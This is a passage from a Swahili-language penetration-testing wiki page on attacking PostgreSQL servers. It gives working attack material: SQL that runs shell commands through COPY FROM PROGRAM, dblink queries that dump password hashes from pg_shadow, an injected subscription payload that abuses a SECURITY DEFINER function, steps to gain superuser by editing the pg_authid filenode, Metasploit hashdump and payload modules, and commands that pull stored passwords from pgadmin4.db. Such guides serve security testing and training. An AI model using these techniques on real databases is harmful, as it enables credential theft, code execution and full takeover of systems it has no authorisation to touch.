LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;
```
Kisha, meza ya `shell_commands_results` italeta matokeo ya nambari iliyotekelezwa:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Kuingia Kwa Kitaifa

Baadhi ya mifano ya postgresql iliyowekwa vibaya inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani, ni rahisi kuingia kutoka 127.0.0.1 kwa kutumia **`dblink` function**:
```sql
\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Tafadhali kumbuka kwamba ili kwa swali lililopita kufanye kazi **kazi ya `dblink` inahitajika kuwepo**. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia
```sql
CREATE EXTENSION dblink;
```
{% endhint %}

Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hauruhusiwi kuingia kutoka anwani ya IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Inawezekana kuthibitisha ikiwa kazi hii ipo kwa:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Kazi iliyobuniwa kwa** SECURITY DEFINER

[**Katika andiko hili**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), wapimaji walikuwa na uwezo wa privesc ndani ya kipengele cha postgres kilichotolewa na IBM, kwa sababu waligundua hii **kazi yenye bendera ya SECURITY DEFINER**:

<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong>    VOLATILE SECURITY DEFINER
</strong>    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
</code></pre>

Kama [**inavyoelezwa katika nyaraka**](https://www.postgresql.org/docs/current/sql-createfunction.html) kazi yenye **SECURITY DEFINER inatekelezwa** na mamlaka ya **mtumiaji anayemiliki**. Kwa hivyo, ikiwa kazi hiyo ina **udhaifu wa SQL Injection** au inafanya **vitendo vya haki na vigezo vinavyodhibitiwa na mshambuliaji**, inaweza kutumika kwa **kuinua mamlaka ndani ya postgres**.

Katika mstari wa 4 wa msimbo uliopita unaweza kuona kuwa kazi ina bendera ya **SECURITY DEFINER**.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
Na kisha **tekeleza amri**:

<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>

### Pita Burteforce na PL/pgSQL

**PL/pgSQL** ni **lugha kamili ya programu** inayotoa udhibiti wa taratibu zaidi ikilinganishwa na SQL. Inawezesha matumizi ya **mizunguko** na **miundo mingine ya udhibiti** kuboresha mantiki ya programu. Aidha, **maagizo ya SQL** na **triggers** ina uwezo wa kuita kazi zilizoundwa kwa kutumia **lugha ya PL/pgSQL**. Ushirikiano huu unaruhusu njia kamili na yenye uwezo zaidi ya programu ya database na uendeshaji wa moja kwa moja.\
**Unaweza kutumia lugha hii kwa njia mbaya ili kuomba PostgreSQL kuvunja nguvu za watumiaji.**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}

### Privesc kwa Kupakia Upya Vitabu vya Ndani vya PostgreSQL
{% hint style="info" %}
Mwelekeo wa privesc unaofuata ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia maagizo ya SELECT yaliyofungwa
{% endhint %}

Ikiwa unaweza **kusoma na kuandika faili za seva za PostgreSQL**, unaweza **kuwa superuser** kwa kubadilisha filenode ya diski ya PostgreSQL, inayohusishwa na meza ya ndani ya `pg_authid`.

Soma zaidi kuhusu mbinu hii [hapa](https://adeadfed.com/posts/updating-postgresql-data-without-update/).

Hatua za shambulio ni:
1. Pata saraka ya data ya PostgreSQL
2. Pata njia ya kihusishi kwa filenode, inayohusishwa na meza ya `pg_authid`
3. Pakua filenode kupitia kazi za `lo_*`
4. Pata aina ya data, inayohusishwa na meza ya `pg_authid`
5. Tumia [Mhariri wa Filenode wa PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) kuhariri filenode; weka alama zote za boolean za `rol*` kuwa 1 kwa ruhusa kamili.
7. Pakia upya filenode iliyohaririwa kupitia kazi za `lo_*`, na kubadilisha faili ya asili kwenye diski
8. *(Hiari)* Futa cache ya meza ya kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
9. Sasa unapaswa kuwa na mamlaka ya superadmin kamili.

## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### kuingiza

Ndani ya faili ya _**postgresql.conf**_ unaweza kuwezesha kuingiza kwa postgresql kwa kubadilisha:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Kisha, **anzisha upya huduma**.

### pgadmin

[pgadmin](https://www.pgadmin.org) ni jukwaa la utawala na maendeleo kwa PostgreSQL.\
Unaweza kupata **nywila** ndani ya faili ya _**pgadmin4.db**_\
Unaweza kuzidecrypt kwa kutumia kazi ya _**decrypt**_ ndani ya script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba

Uthibitisho wa mteja katika PostgreSQL unadhibitiwa kupitia faili ya usanidi inayoitwa **pg_hba.conf**. Faili hii ina rekodi za mfululizo, kila moja ikieleza aina ya uhusiano, mbalimbali za anwani ya IP ya mteja (ikiwa inafaa), jina la database, jina la mtumiaji, na njia ya uthibitisho inayotumika kwa uhusiano unaolingana. Rekodi ya kwanza inayolingana na aina ya uhusiano, anwani ya mteja, database inayotakiwa, na jina la mtumiaji hutumika kwa uthibitisho. Hakuna njia mbadala au urejeshaji ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.

Njia za uthibitisho zinazopatikana kwa msingi wa nywila katika pg_hba.conf ni **md5**, **crypt**, na **password**. Njia hizi zinatofautiana katika jinsi nywila inavyotumwa: MD5-hashed, crypt-encrypted, au maandishi wazi. Ni muhimu kutambua kuwa njia ya crypt haiwezi kutumika na nywila zilizoandikwa katika pg_authid.